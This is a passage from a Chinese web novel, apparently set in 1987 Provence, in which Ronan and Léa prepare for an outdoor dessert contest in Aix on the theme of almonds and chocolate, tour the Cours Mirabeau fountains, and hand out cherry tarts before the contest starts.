莉亚这一阵子的努力,是为了给将来餐厅卖罗南在甜品大赛上的同款甜品做准备,等比赛结束再努力就没有什么太大的意义了。 “诶,罗南来了!”有小尾巴发现老板来了,马上叽叽喳喳的将他围住,询问他甜品岗位是否要招工的信息。 无论是餐厅、斯特斯加还是卢尔马兰手工艺合作社,都有主要的负责人帮助罗南打理生意。 而罗南自己也不习惯有什么老板架子,他喜欢和员工们打作一团,于是开玩笑的说: “甜品岗位需不需要多些人手,要看甜品卖的好不好啊,如果每桌客人都多点几个甜品,现在的人手忙不过来,那我肯定要给莉亚招人。” 之前那个特别有眼力见的小女孩马上冲了出去: “我现在就出去吆喝,说我们餐厅的甜品上新了,没尝过的必须试试。” 罗南三言两语把莉亚的几个小尾巴支了出去,之后走过去看莉亚的雕刻作品: “做的越来越好了啊。” 莉亚低头认真的说: “那是当然,我这次绝对不会拖你的后腿,一定好好辅佐你拿下好的成绩。” “辅佐?”她耳边传来带着笑的声音,“不是辅佐,你和我一起去,我们两个一起参加比赛去。” 第491章 杏仁和巧克力 普罗旺斯第一届甜品大赛将在月底于艺术之都艾克斯举行。 五十多组实力雄厚的本土选手要在规定时间内,完成评审们给出的指定甜品主题作品。 为了吸引更多游客的关注,本次比赛的场地没有安排在室内,而是艾克斯最著名的米拉波大道上,比赛结束之后,各组参赛选手还可以在这条与香榭丽舍齐名的著名大道上进行一周的作品展示。 米拉波大道是游客来艾克斯必打开的景点,没有之一,相信整个5月底和6月初,艾克斯都将是属于甜品的。 为了让罗南点头参与这届由普罗旺斯美食协会为艾克斯量身定制的美食活动,略伦特曾不止一次的暗示——罗南一定会在这次活动中取得一个很好的成绩。 这不,在罗南等人动身去艾克斯之前,粗心大意的略伦特先生一个不留神,就在电话里把这次比赛的主题说‘漏嘴’了。 本次比赛的主题是——杏仁和巧克力。 在室外制作甜品,除了对场地搭建有更高的要求,对参赛选手的现场制作也有着很大的影响。 说不定在甜品师焦头烂额赶时间做作品时,距离几米之外的地方正有几百个人注视着你,而且这其中可能还有一大半是‘美食家’普罗旺斯人,他们会在制作阶段就给每一份甜品打分了。 为了万无一失、以最好的状态参与到比赛当中去,罗南提前两天就带着人动身出发艾克斯,他们需要提前适应场地、适应设备,再适应一下在大庭广众之下做甜品的感觉。 这应该是罗南今年最后一次亲自参与美食活动,之后几个活动他都不会亲自参加,于是这次甜品大赛,无论是餐厅里的员工,还是罗南本人都格外的重视。 罗南和莉亚作为主力军必须要去,但为了保证餐厅的顺利运转,其他做甜品的妇女不能去艾克斯帮忙了,于是罗天海足足给他们安排了4个帮手,各个都是既聪明,又机灵,还特别能干的首当其冲的自然是伊莎贝尔。 “伊莎贝尔,你不是最喜欢艾克斯了吗?马上就要到了,你怎么一点都不激动?” 这次去的人多,还要带许多罗南和莉亚用得顺手的工具,罗南借了一辆大面包车开,见其他人在路上都特别的兴奋,只有伊莎贝尔沉默寡言,但众所周知伊莎贝尔从小就喜欢艾克斯,于是罗南主动问起了她原因。 伊莎贝尔把脑袋撑到车窗上,语气蔫蔫的说: “这次要走一周多有点想家。” “刚出来你就想家了?”她旁边的女孩捂着嘴眉开眼笑的说,“我看你是想人了吧?” 伊莎贝尔‘气急败坏’的锤了她一下: “你又胡说什么!” 两个女孩很快扭打到一起。 “好了,你们就别逗伊莎贝尔了。”后排一个年纪稍大些的妇女出来劝阻。 “哼,我给艾伦面子,不跟你一般见识。”伊莎贝尔继续把头靠到窗户上。 后排那名叫艾伦的妇女偷偷看了一眼坐在副驾驶的莉亚: “莉亚,维埃里月初就要会考了吧?他准备的怎么样了?” 伊莎贝尔马上竖起了耳朵。 甜品大赛在5月底举行,但她们几个还要在这里待一周时间展示摊位,再回去时维埃里的会考都考完了.伊莎贝尔当然不放心了。 莉亚也将错过维埃里会考的日子,不过她的状态可比伊莎贝尔好多了: “走之前我只鼓励让他加油,没问准备的怎么样,维埃里都那么大了,什么不懂?就不给他平添压力了。” 罗南也在出发之前去慰问了一次维埃里: “维埃里拒绝路易和佐伊会考那几天送他去考场,说那就是平平无奇的两天,让我们不要大惊小怪的。” 说完,罗南看向后视镜里的伊莎贝尔: “我觉得维埃里的状态和心态都挺好的,应该没问题。” 伊莎贝尔的状态肉眼可见的好了一些,似乎为了摆脱当下的情绪,她主动聊起了关于比赛的事情: “这次的甜品主题是杏仁和巧克力.我还以为会是‘希望’那种主题呢,没想到直接给了食材的名字。” 罗南之前也想过这个问题,说出了自己的理解: “这次的甜品大赛是普罗旺斯美食协会特意为艾克斯量身定制的,目的是给艾克斯增加一个‘甜品之乡’的名号,而提到艾克斯的甜品,大家第一个想到的就是由杏仁制作的卡利松,除了卡利松,和杏仁搭配最多的是巧克力这样理解就说得通了。” 伊莎贝尔小声念叨: “那叫‘杏仁之都’或者‘巧克力之都’呗,叫什么甜品之都啊,这名字有什么好的?” 罗南笑着耸肩: “因为‘杏仁之都’和‘巧克力之都’已经被人抢了啊,留给其他城市的选择不多了。” 在欧洲,西班牙的哈维阿是公认的‘杏仁之都’,而提到巧克力,欧洲人第一个想到的是比利时的布鲁日。 艾伦啧啧称奇的问罗南: “活动还能量身定制啊?就为了多一个称号?” 罗南撇嘴: “如果一个地方能有一个被人熟知的称号,无形中会吸引来一大批对应的受众,这对城市和村庄来说太重要了,我听说艾克斯政府给这次甜品大赛投入了许多资金和资源,他们的目的是把它打造成一个连续性的地方美食活动,不是做一两届玩玩而已。” 伊莎贝尔坐直了身体,问罗南: “这么重要的活动,你准备好了吗?想好要做什么甜品了吗?” 罗南用食指敲了敲方向盘: “我和莉亚已经讨论过了,思路和想法挺多的,我们应该不会只做一个作品。” “听说时间只有90分钟,时间来得及吗?”艾伦担心的问。 她们这几个来帮忙的妇女,主要的任务是做好前期的准备工作、设备调试、打杂和后期的摊位展示,比赛期间只有选手可以上去操作。 罗南笑着指了指莉亚: “比赛我和莉亚一起去,两个人配合时间绝对来得及。” “莉亚也要去比赛?”一车妇女爆发出尖锐的爆鸣。 所有人都知道,组委会邀请的是擅长甜品艺术的艺术家罗南,如果没有这层身份,他们这帮人没有机会能来艾克斯。 而且来之前罗南告诉大家,这次来参加比赛的其他选手不是米其林餐厅,就是赫赫有名的本地甜品店,最不济的也是拿过面包大赛冠军的老牌面包店铺包括罗南在内,所有人都是实打实的普罗旺斯甜品界大咖明星。 你现在告诉我,莉亚也进入这份名单里了? 这感觉就像是听说邻居老查理受邀去传递奥运圣火一样震惊。 罗南给了莉亚一个鼓励的眼神,坚定的说: “这次我和莉亚将会以团队的形式参与,莉亚负责甜品的基底制备,我作为其辅助;后期造型我来主导,她来辅助我我们之前配合了几次,已经非常娴熟了。” 在法国,美食大赛选手的参赛形式(个人 vs团队)主要取决于赛事规则、比赛级别和主题性质。 最早期,法国的美食比赛只允许个人作战,纯比个人能力。 但是在80年代初期,某位法国知名大厨在电视中发表了一番——‘一个人可以走很快,但团队才能走很远’言论,自那之后团队协作成为了正规美食活动的新标准。 艾克斯的甜品大赛活动是地方性质的,而且带有商业属性,并不是正规的美食比赛,组委会对个人还是团队参赛没有强制的要求,但团队人数不能超过2人,主要是室外比赛场地搭建的限制,无法支持太多人参与。 罗南之前咨询过略伦特,这次参赛的选手中绝大多数都是以餐厅、甜品店或者面包房的名义报名.看来大家和罗南抱有同样的目的。 既然这样,莉亚当然可以参与了。 罗南负责‘形’的部分,虽然莉亚恶补了一两个月,但在造型部分还是和罗南差着不小的距离。 莉亚负责‘味’的部分,以她的经验和能力,绝对能制作出让普罗旺斯人疯狂的甜品基底风味。 得到比赛主题后,罗南和莉亚便开始了磨合。 两个人各司其职,互相配合,争取达成1+1大于2的效果。 莉亚已经不是去年那个瞻前顾后、前怕狼后怕虎、不停否认自己的家庭妇女了,她是卢尔马兰妇女的榜样,是她们中最的最优秀的那个。 得知罗南要让她一起参赛,莉亚没有任何犹豫当场答应了下来,不辜负罗南的信任、不辜负家人的鼓励是她的责任。 面对新的挑战,莉亚的态度是直面面对,绝不逃避: “我们一会直接去米拉波大道吧,先看看我们的位置在哪里。” 罗南的目光从莉亚的脸上移开。 虽然这么说有些不太合适,但他在莉亚的身上,看到了佐伊的影子。 果然自信是女人身上最大的魅力。 罗南拉着一车人直接去了米拉波大道。 甜品大赛还有两天开始,但这条两侧种有四十四棵参天梧桐树的大道,已经有很浓重的甜品大赛气氛了。 米拉波大道的设计师对数字极度迷恋,街道的宽度必须和房屋的高度一致。 无论是南侧的咖啡厅、餐厅、帽子店、书店,还是北侧的律师事务所、银行、房地产店和法官大楼都严格遵守了这条定律。 而整条大道上的其他元素,更加彰显着数字的魔力。 米拉波大道总长四百四十四米,宽四十二米,种着四十四棵梧桐树,路上一共有四座喷泉。 根据之前得到的消息,甜品大赛将在最后一个喷泉的附近举行,但在第一座喷泉‘园亭喷泉’附近就可以看到大量的比赛宣传物料了。 罗南站在一张广告牌前,留意到比赛预告下方有五六个赞助商的名字,很显然这次的活动非常‘成功’。 就是不知道这里面有多少客户像伯纳德一样,是被罗南的名字吸引来的。 “如果我的名字次次这么好用就好了,那么卢尔马兰未来也可以拉来赞助办活动了。”罗南感慨了一句。 卢尔马兰的扩建包括了专业活动场馆建设,等场地竣工后就要考虑办活动的问题了。 罗南替布兰科着急啊 突然,他被身后妇女们的激烈说话声吸引走了注意力。 走过去一看,原来是两个人在为园亭喷泉上雕刻的是什么人而争吵。 吕贝隆的男人们没有特殊情况,一两年才有机会来一次艾克斯或者阿普特,妇女们有的从小到大只来过几次,所以伊莎贝尔才会如此的向往艾克斯。 来的次数少,艾克斯都逛不全,自然不会知道每座喷泉的历史和含义了。 见罗南过来了,艾伦拉着他问: “罗南,这最上面的三个人是掌管司法、商业和农业的神灵,你说对不对?” 另一个妇女说出了她所听到的版本: “是掌管建筑、艺术和贸易的神灵,没错,是这三个!” 罗南仰着头看向这座高12米的大型喷泉,脑海里出现了佐伊曾经讲过的东西。 一年前,罗南送佐伊来艾克斯进修,两个人不舍得分离,就在这座喷泉下面坐了整整一个下午,天南海北的聊着。 就是那一次的经历,让罗南清楚他对这个普罗旺斯女孩动心了。 “圆亭喷泉的圆形底座直径32米,周围是四对狮子,顶部的三尊大理石雕像,分别由三位雕塑家雕刻,面对着不同的方向。”佐伊介绍这座喷泉时的样子历历在目,罗南甚至还记得她当时穿的什么衣服,戴了什么配饰,“面对米拉波大道的雕塑象征正义;面对通往马赛的比利时大道的雕像象征着贸易和农业;面对着通往阿维尼翁的拿破仑波拿巴大街的雕像象征着艺术这座喷泉也叫三女神喷泉。” 大家对罗南的解释深信不疑,尤其他说出了这么多细节。 “罗南真厉害啊,什么都知道。”艾伦笑着看莉亚,“比我们这些普罗旺斯本地人还厉害。” 罗南笑着迈步继续向前走: “我不厉害,许多东西我都不懂,尤其是关于历史和地理的,这些是佐伊告诉我的,她给我介绍了许多这座喷泉的故事,但我只记得这么一点了。” 他回头骄傲的说: “我的女神才是最厉害的。” 莉亚都笑的合不拢嘴了。 罗南这孩子真好啊,真好! 比赛更要卖力了!! 第492章 动嘴多没意思?来点实际的 米拉波大道上有四座喷泉。 经过圆亭喷泉沿街继续往前,来到‘九法典喷泉’。 圆亭喷泉也叫‘三女神喷泉’,因为喷泉顶端雕刻着三座女神。 而九法典喷泉也有一个别名,叫做‘绵羊和山羊酒馆’。 据说以前阿尔勒的羊群转场时要路过艾克斯,山羊和绵羊大军会在这儿喝水小憩后再上路,因此,这座喷泉的边缘很低,直至今日,每逢夏季,口渴的短腿狗还是喜欢来这儿找水喝。 路过九法典喷泉继续向前,下一个是‘热喷泉’。 如果九法典喷泉是夏季游客和小动物的最爱,那么到了冬季,热喷泉一定是米拉波大道上最受欢迎的地方——这里全年有十七八度的天然泉水供应,而且是可以饮用的。 佐伊曾经给罗南讲过,艾克斯于公元前123年由罗马人建立,之后的几百年这里战火不断,先后被安布罗尼人、条顿人、西哥特人、法兰克人、伦巴第人、萨拉森人和安茹王朝统治或攻占,1487年才归属到法兰西王室。 在这片土地还叫‘六水’的公元前时代,就是这座温泉吸引来了罗马人,让艾克斯这个名字出现在了世界上。 据说泉水有着恐怖的疗效,可以促进女人的生育能力、治疗甲状腺,还可以舒缓淋巴结肿痛。 “真有那么神奇吗?”罗南的讲述让妇女们好奇不已,站在水池旁边犹豫着要不要喝上一口。 罗南耸肩: “佐伊是这样说的。” 在卢尔马兰,佐伊是比罗南更加让人信服的存在。 听到这段历史是佐伊说的,妇女和女孩们不再迟疑,和其他游客一样,捧起了喷泉水,小心翼翼的喝了一口。 罗南也跟着做了,发现水温和夏季的洗澡水差不多,不会太热,但又不会让皮肤突然收紧一下。 水的味道也和想象中不同,传说中有那么多功效,他已经做好了口感很糟糕的心理准备,结果没有气泡感,没有哪怕一丁点硫磺味,完全尝不出其中含有任何的神奇力量就是普通的温水而已。 罗南又喝了一捧,甩了甩手,开玩笑的说: “之后我会认真留意甲状腺和淋巴的情况,如果始终没有这方面的疾病,说明这水可能真的有疗效。” 一个女孩附在同样喝了泉水的伊莎贝尔耳边说了些什么,下一秒,两个年轻女孩在米拉波大道上上演起了追逐大戏,在后面追赶的伊莎贝尔脖子都红了。 “走吧,我们去‘勒内王喷泉’。”罗南笑着追了上去,“比赛的场地就在那附近了。” 勒内王喷泉的建立,是为了纪念一位被后代子孙所景仰的英勇之士——那不勒斯国王勒内。 勒内是一个很有故事的国王,主要体现在头衔众多上。 他出生于安茹王朝统治时期,因其妻子伊莎贝拉兼任了洛林公爵,他的岳父洛林公爵夏尔二世去世后,勒内根据妻子伊萨贝拉的权利继承了洛林公国。 但这只是勒内众多头衔之一,这位学识渊博且颇有写诗才华的国王,在之后又阴差阳错的成为了名义上的西西里国王和耶路撒冷国王被后人评价为‘有很多王冠但没有一个王国的人’。 勒内王喷泉的建立并不是因为其政治影响力,而是因为勒内是将火鸡、蚕和麝香葡萄引进普罗旺斯的大功臣,他还大力赞助艺术,鼓励艺术产业发展。 只是引进葡萄和赞助艺术这两项举措,就够让普罗旺斯人永远记住这位伟大的国王了。 勒内王的雕像耸立在喷泉之上,脚边堆着一摞书,一手握着令牌,一手拿着一串葡萄,透过苍翠的树林,俯视整条米拉波大道。 第一座园亭喷泉附近只能看到一些关于甜品大赛的宣传物料,但尽头的勒内王喷泉附近已经划出了一个一个区域,看起来每一个空格内都将安排一组选手。 除此之外,这附近的许多建筑都布置上了和甜品或者美食相关的元素。 罗南在米拉波大道南侧的某一栋建筑上,看到了两个厨师模样的人偶,想必这些都是为了配合甜品大赛而布置的。 莉亚想要尽快投入到准备中去,去附近找人询问属于他们的比赛区域在哪里。 罗南则站在那栋挂有厨师人偶的建筑物下,昂着脑袋愣愣发神。 “你在看什么?”伊莎贝尔结束了追逐战,回来气喘吁吁的问罗南。 罗南若有所思的说: “比赛那天,我也要穿上这身厨师袍,想想还有点紧张和兴奋呢。” 餐厅开业这么久,罗南从来没有穿上过厨师服,这将是第一次。 “这有什么好紧张和兴奋的?”伊莎贝尔不理解的问。 罗南收回视线,他也不是很清楚这种情绪来自哪里,只能尽可能的努力解释: “可能这件衣服和职业有强挂钩?穿上就是厨师了,感觉挺新奇的,虽然我很早之前就是厨师了,但又似乎从来没有人拿我当做过厨师.这是我第一次以‘厨师’的身份出现在的大众的视野之中。” “佐伊跟你说了一样的话。”莉亚的声音从身后出现,“她帮你制作了一件特殊的‘战袍’,在我的箱子里,一会我拿给你,我们先去准备间看看吧,工作人员给我指了位置。” “这是佐伊做的?”罗南拿着属于自己的厨师服,爱不释手的问。 他的厨师袍上除了有他的名字罗南,在袖子和领子附近还有几个动物的图案,是马赛、小黑和呼呼它们,这一看就是出自佐伊之手。 莉亚笑着叹了一口气: “佐伊想要自己绣上去,但这可不是几天之内就能学成的,我和她的外婆都不擅长做手工刺绣,这些图案是她定制贴上去的。” 罗南摸着那些图案,就好像摸到了佐伊的手: “她费心了。” 厨师服上有女朋友亲手diy的图案,图案是他们最喜爱的小动物,那感觉就好像是佐伊和孩子们与罗南一起并肩作战似的。 毫不夸张的讲,还没开始比赛,罗南的状态就燃起来了,恨不得现在就去勒内王喷泉做甜品去! “一定要拿着奖杯回去。”罗南抱着衣服说。 莉亚的脸上出现了自信的笑容: “一定会的,不止为了我们,也为了爱我们的人。” 第二天,罗南拒绝了所有的拜访请求,不限于组委会略伦特、赞助商伯纳德、狂热的艺术爱好者桑松女士和之前在F1大奖赛上认识的各种普罗旺斯名人,全身心的和莉亚为比赛做准备。 在比赛场地搭建完成后,他和莉亚是第一组进去做调试的选手,把在规则内能够替换的所有道具都换成了平时熟悉的,一待就是好几个小时。 跟来的妇女和女孩们也没有闲着,把备战区域打扫的干净整洁,无论是组委会提供的设备还是自己带来的工具都擦的增光瓦亮,可以当镜子照的那种。 本次比赛有红酒赞助商,无法像面包大赛那次一样把斯特斯加的粉红酒摆到桌子上,她们就在备战区放上编织元素,还在各种显眼位置露出中餐厅和卢尔马兰的名字,当然了,这些都是罗南安排的。 离开米拉波大道,罗南和莉亚回到酒店又开了一个很长的作战会议,讨论明天在比赛上到底做什么。 分工在卢尔马兰时就已定好,并且练习了好几次,非常娴熟。 然而主题是在动身来艾克斯之前的那晚才知道。 到了艾克斯之后一直没有上手的机会,明天要用什么方式呈现‘杏仁和巧克力’这个主题始终没有一个定论。 罗南和莉亚面前的笔记本上有好几个图形,是罗南手绘出来的甜品造型。 莉亚在其中的两个上面画了圈圈: “就这两个吧,一个注重‘形’,一个注重‘意’,两个作品足够体现我们的全部实力了。” 他们这组选手的优势有两个,一个是罗南鬼斧神工般的造型能力,一个是莉亚对当地人甜品口味的把控能力,只需围绕这两点做文章,明天的比赛成绩一定不会差的。 莉亚相信明天大部分选手都只会呈现出一个作品,因为90分钟的时间还是挺紧张的,他们要呈现两个作品,在一定程度上已经有优势了。 罗南双手抱胸想了一会,最终也在那两个图案上点了两下: “可以,那就做这两个,明天比赛一开始,我会按照计划辅佐你制作巧克力基底、烤杏仁和杏仁白巧克力等食材,如果出现了什么变化,我们随机应变,随时沟通。” 甜品大赛得到了艾克斯政府的大力支持,预计比赛周内总参观量将超过35万人次,属于普罗旺斯顶级曝光量的活动。 比赛当天,选手们都早早的到场,以希望通过这次活动取得尽可能多的曝光量。 罗南一行人提前两个多小时来到米拉波大道的勒内喷泉,发现他们居然不是最早来的一批人。 有好几组选手已经在备战区域里开始和游客互动了。 而且互动的形式完全是罗南没有想到过的。 他们有的在分发宣传单,有的在展示形形色色的照片,还有的在大声宣传自己所在的餐厅、甜品店或者面包店,赤裸裸的,完全没有任何顾虑。 其实想想也是,人家组委会也没说比赛之前不能自我‘介绍’不是么? 这情况把伊莎贝尔的斗志激发了起来,‘抢客户’可是她最擅长的事情啊,这不是到她的主场了? “还好我来了!”伊莎贝尔快步跑入属于他们的备战区。 脚步还没停下嘴里就开始吆喝起来了。 “女士、先生、小姐们,请看看这里——” 伊莎贝尔跟着罗南去过集市,也在寂寥的冬日去商业街上给餐厅拉过顾客,宣传语张嘴就来,说的一套一套的,再加上小姑娘长的好看,嗓音又好听,马上就吸引来了游客的目光。 罗南第二个反应过来,也加快了脚步。 艾伦等几个妇女拉住他和紧随其后的莉亚,用非常让人有安全感的语气和神态说: “你们两个好好准备比赛,这些事情就不用操心了,我们发誓,比赛之前就让我们这里成为万众瞩目的焦点。” 说完,妇女和女孩们气势汹汹的冲了过去。 罗南赶紧追上她们: “伊莎贝尔一个人足够了.咱们搞点实际的宣传多好啊?艾伦,你去这附近的市场买些当下最新鲜的水果吧。” 艾克斯第一届甜品大赛是普罗旺斯美食协会今年来招商情况最好的一个活动。 以往的美食活动最多也就能招到一两个客户,但由于这次的活动和艺术有着千丝万缕的联系,赞助一下子进来了好几个。 在普罗旺斯,只要和艺术扯上关系,马上就能吸引来更多的目光。 由于招商情况好,无论是艾克斯政府,还是普罗旺斯美食协会都更加重视起了这次的活动举办情况,他们的到场时间比各位选手还要早。 各位领导在策划人略伦特的带领下先是视察了一圈周边的宣传元素和广告牌子,略伦特说,只要游客出现在米拉波大道两公里以内,就一定能够看到他们的宣传。 看完了宣传,他们又移步到了比赛场地。 虽然距离比赛开始还有着一些时间,但硝烟已经在这里出现——各组选手从比赛前就开始了第一轮‘争斗’,争斗的内容是看谁能在比赛前吸引来更多的游客关注度。 “很热闹啊。”略伦特很满意这个氛围。 活动嘛,就要热热闹闹的。 他身边一位艾克斯政府官员笑着说: “听说这次来参赛的都是普罗旺斯各地的明星店铺,果然不一样。” 略伦特告诉他们,这次邀请来参赛的选手水平无比之高,是一场名副其实的盛事。 而且选手们不仅实力强劲,还都在当地赫赫有名。 略伦特笑的合不拢嘴: “各位有没有心仪的选手,要不要过去看看?” 比赛是为艾克斯量身定制的,组委会自然更加关注本地的几组选手,但现场游客较多,比赛选手数量也多有五十多组,情况较为复杂,他们一时间也找不到哪几组是来自艾克斯的了。 “关注度最高的一定是艾克斯的选手。”队列中有人提醒,“活动在艾克斯宣传半个多月了,今天一定会有很多本地民众过来,他们肯定关注本地的店铺啊。” 但跟在略伦特身边的一个工作人员不好意思的说: “抱歉,目前人气最高的选手并不是本地的,而是来自卢尔马兰” 在场好几个人提高了音调: “卢尔马兰?” 不是,凭什么啊? 第493章 开搞! 罗南所在的备战区前可以用人山人海来形容,无论是大人还是孩子都在努力往里面挤,因为他们是唯一一组在比赛前就提供试吃的选手。 虽然是很普通的樱桃挞,而且是简易版本的,但有唯一性啊。 无论哪个年代的老百姓都不会见便宜不占,尤其这个樱桃挞还如此的好吃诱人! 组委会给了每组选手足够的展示时间,但是在比赛结束之后,甜品大赛尘埃落定,这些备战区将变成面包大赛时的那种展示区,可以向来自世界各地的游客售卖和比赛有关的甜品或者其他东西。 这样一来,各组选手自然和艾伦等妇女的想法一致——比赛结束之后再上甜品或者其他试吃,比赛前的这几个小时只看谁的嗓门大了。 再者比赛即将开始,谁家好甜品师愿意浪费时间做跟比赛没有关系的甜品给顾客吃啊? 不得趁着最后这段时间,做做最后的准备什么的? 能做出在比赛前就上试吃的也就只有罗南了。 “差不多了,够了。”伊莎贝尔不停提醒罗南可以停下了。 她原本以为罗南只是想搞点噱头,做一炉樱桃挞就停下,没想到他还做上瘾了,一炉接着一炉.居然还埋怨艾伦食材买少了。 不说我说比赛在即,你就一点都不紧张嘛,这么心大的做樱桃挞? 罗南特别平静的说: “樱桃还剩下一些,至少得做完吧,而且这是顺手的事儿。” 莉亚一开始也有点不理解罗南的做法,不过跟着一起做了一会,整个人的状态完全放松了下来,和平时在餐厅后厨时差不多了。 要知道昨天夜里她可是失眠到凌晨1点多才闭上眼睛。 “身子和手已经热了,比赛还有多久开始?”她一边打黄油一边问。 “不紧张了吧?”罗南侧头看她。 莉亚笑着摇头: “不紧张了,已经习惯被人注视着干活了。” 吸引关注度是其一,调节状态是其二,适应比赛环境是其三。 在众目睽睽下做甜品的感觉和在厨房里做的感觉完全不一样,一开始切樱桃时,罗南那么稳当的手都有点发紧,不过现在好了,‘热身’了一个多小时,大体已经适应了这种时刻被人指指点点的气氛。 如果比赛开始后再适合,效率会大大折扣的。 他们只有90分钟,还要做两种甜品,每一分钟都不能浪费。 见罗南和莉亚的状态不错,伊莎贝尔也就不再操心了,听话的给两位选手报时: “距离比赛开始还有45分钟。” 突然,几个工作人员在他们面前开了一条路出来,略伦特带着一组西装革履的工作人员出现在罗南等人的面前。 一看老熟人来了,罗南二话不说,先递了一盘子樱桃挞过去: “先生们,也是来吃甜品的吗?时间有限,别嫌弃,尝尝,刚出炉的。” 略伦特没有一丝犹豫,直接接了下来,和身边的人分享: “你别说,还真有点饿了,有谁想要一起分享吗?我看这块挺大的。” 事实上,来的路上大家便已经弄明白了‘人气选手’是如何产生的——因为这是唯一有试吃的摊位。 就说嘛,卢尔马兰的选手怎么能在艾克斯成为人气之王呢? 不过介于略伦特介绍,这位来自卢尔马兰的选手是罗南,大家还是本着示好的态度来到这里送上鼓励。 这可是罗南啊,刚刚才在摩纳哥大放异彩过的罗南,而且还是一位能自带客户的艺术家,值得大家跑这一次。 但是甜品嘛. 略伦特身边除了政府官员,还有几个待会比赛上的评委。 他们非常肯定罗南甜品艺术家身份,因为他的造型能力的确精美至极,至于做甜品大家觉得罗南做的甜品空有样子,味道可能就差点意思了。 果然,看到了略伦特分享的樱桃挞,这几位露出了心照不宣的笑容。 经典法式樱桃挞的制作时间需要一个多小时,因为其中必须有一道冷藏松弛面团的工序,否则无法烤出焦香诱人的酥皮,而罗南这里的试吃不停供应,说明是‘阉割版本’,下面的挞皮一定做了简化处理。 而他们看到的也的确是这个样子——罗南递来的樱桃挞下面只有一层薄薄的基底,不用吃就知道,味道肯定是不合格的。 略伦特率先开动,插了一小口放入嘴里,马上露出了标志性的笑容: “很有特色。” 几位评审差点没忍住笑出声来。 用特色形容甜品.不就是在说不好吃吗? 略伦特这么精明和圆滑的家伙都找不到合适的措辞了? 周围等拿试吃的人太多,罗南也没时间照顾他们太久。 寒暄了两句,扭头去干别的了。 罗南并不是本次比赛的实力选手,被组委会列入人气选手之列。 人气选手的面子还是要给的。 几个人各自插了一小口放到嘴里,完成了任务,正要扭头离开,突然又看向了略伦特手里的盘子。 略伦特依然是那副熟悉的笑容: “我说的没错吧.很有特色。” “那下面不是普通的挞皮。”其中一位评审意犹未尽的舔了下嘴唇。 “但同样很酥脆。”另一位评审回头看罗南,有点犹豫要不要再要一块。 略伦特把空盘子交给助手: “看来罗南掌握了一种我们并不了解的制作挞皮的方法,而且是短时间内就能制作完成的。” 略伦特不只有数不尽的普罗旺斯人脉,也有能与其对应的专业能力。 他了解所有普罗旺斯知名餐厅的特色菜品,也知道普罗旺斯所有名声显赫的甜品和面包店里,哪个东西最好吃,但罗南做的这个樱桃挞的基底,他确定没有吃过,这是人生第一次。 “罗南!”略伦特热情的喊了一声。 罗南扭头看过来: “怎么了略伦特先生?” 略伦特指着他手里的樱桃挞问: “方便问一下,挞皮是如何制作的吗?” 罗南没有要隐瞒的意思,坦然的回答: “焦糖饼干压碎,加入融化的黄油,再烘烤几分钟就可以了。” 这是他在系统给的‘配方’里寻找到的,可以在目前条件下最快做出甜品基底的一种办法。 略伦特余光注意到了周围人的表情变化,与罗南挥手告别: “一会加油。” “我会的!”罗南给自己做了一个加油的动作。 一行人随着略伦特离开,但是这其中有几个的心并没有跟着身体离开。 80年代后期,法国甜品还没有进入传统与创新的激烈碰撞期,更没有出现过什么颠覆性的技术革命,甜品师依然习惯沿用传承了几百年的甜品配方制作甜品。 在正规的甜品大赛上,选手们的差距,更多的体现在基本功和熟练度上。 1993年欧盟正式成立,食材进口门槛降低,随着抹茶、百香果和斑斓叶等新元素的到来,法国甜品才开始进入新的时代。 但在1987年,还在拼基本功的甜品师遇到了一个擅长创新的家伙 有几个人忍不住回头望去,心里琢磨着,把罗南列入人气选手的行列.是不是放错了? 艾伦买的樱桃不多,实际上能做出来的樱桃挞太有限了。 在略伦特离开后不久,罗南这里便停止了提供试吃。 “抱歉大家,抱歉了,等一会比赛结束,我们会继续供应甜品,大家记得来拿。” “比赛同款也有试吃,想尝鲜的别走太远啊。” “请大家多多关注我们呀~” 女孩子多的好处就是,说几句好话便能抚平那些没有拿到试吃游客的情绪。 比赛之前就这么大方,比赛之后肯定更加大方很多人记住了这里的位置和选手的样子,这里将是他们重点关注的地区了。 试吃结束,热身完毕,目标也达成了。 妇女们收拾残局,罗南和莉亚做最后的状态调整和准备,但他们刚坐下来,便听到一声痛苦的哀嚎,听声音懊恼极了。 “什么,试吃已经结束了吗?该死的,我应该再早起半个小时,是我大意了!” 伴随着哀嚎出现的,是莉亚的尖叫。 这位已年近50的成熟女人,像是十几岁的小姑娘一样,跑向了她的情郎: “亲爱的,你不是说不能来的吗?” 路易一边抱着莉亚转圈,一边还不忘承认错误: “对不起亲爱的,佐伊昨晚提醒过我,要再早起一点,是我天真的以为早晨的路会好开,没有赶上你们的第一组作品。” “哦,那不是第一组作品,只是我和罗南的热身。” “啵啵啵啵啵吧唧——”在老年组情侣身后,另一组情侣已经亲上了。 “你怎么也来了,不是说今天要和歌迪亚去参加一个什么讨论会吗?”罗南用力抱紧怀里的佐伊,笑容比普罗旺斯的大太阳还灿烂。 房子装修基本结束,目前只差一个游泳池。 摩纳哥的F1大奖赛算是佐伊复工的一个信号,在那一次活动上,有许多主办方向她发去邀请,档期从5月底一直排到7月底。 为了不耽误佐伊的工作,罗南拒绝了她要跟着一起来的提议。 没想到人还是来了 佐伊用嘴指父亲: “这要问爸爸了,他要给妈妈惊喜.还让我必须要配合他,其实我的那个活动日期并不是今天。” “起的很早吧?累不累,饿不饿,早上吃饭了吗?”罗南再次温柔的抱了上去。 伊莎贝尔翘起脚尖看了一阵子,并没有发现路易和佐伊的身后还有第三个人,有些失望的低下头去继续干活了。 “你在想什么呀,他后天就要会考了,今天肯定不会来的。” 伊莎贝尔的反应被温柔的佐伊尽收眼底,她对妈妈莉亚说: “妈妈,维埃里知道我和爸爸要来艾克斯,让我转告你们——” 随后她看向其他妇女和女孩,眼睛在伊莎贝尔身上停的时间格外长: “加油,你们是最棒的。” “你太温柔了,还知道考虑伊莎贝尔的情绪。”过了一会,罗南小声对佐伊说。 佐伊说完那句鼓励的话,小姑娘的眼睛里明显又有光了,手上的动作都快了不少。 佐伊回头看了一眼伊莎贝尔: “但那真的是维埃里让我转达的话啊,不是我编的。” 甜品大赛不是什么正规的美食比赛。 在比赛之前的五分钟,才有工作人员来通知‘清场’,之后只能由选手留在该区域。 佐伊、路易、妇女和女孩们离开了备战区,走之前留下了不知多少句鼓励的话。 罗南和莉亚互相说了句‘加油’后,双手低垂,站到了操作台前,等待着主办方宣布比赛主题。 上午10点半,勒内王喷泉附近的十几个大喇叭同时间响了。 “尊敬的各位来宾、亲爱的普罗旺斯同胞们、敬爱的各国游客: 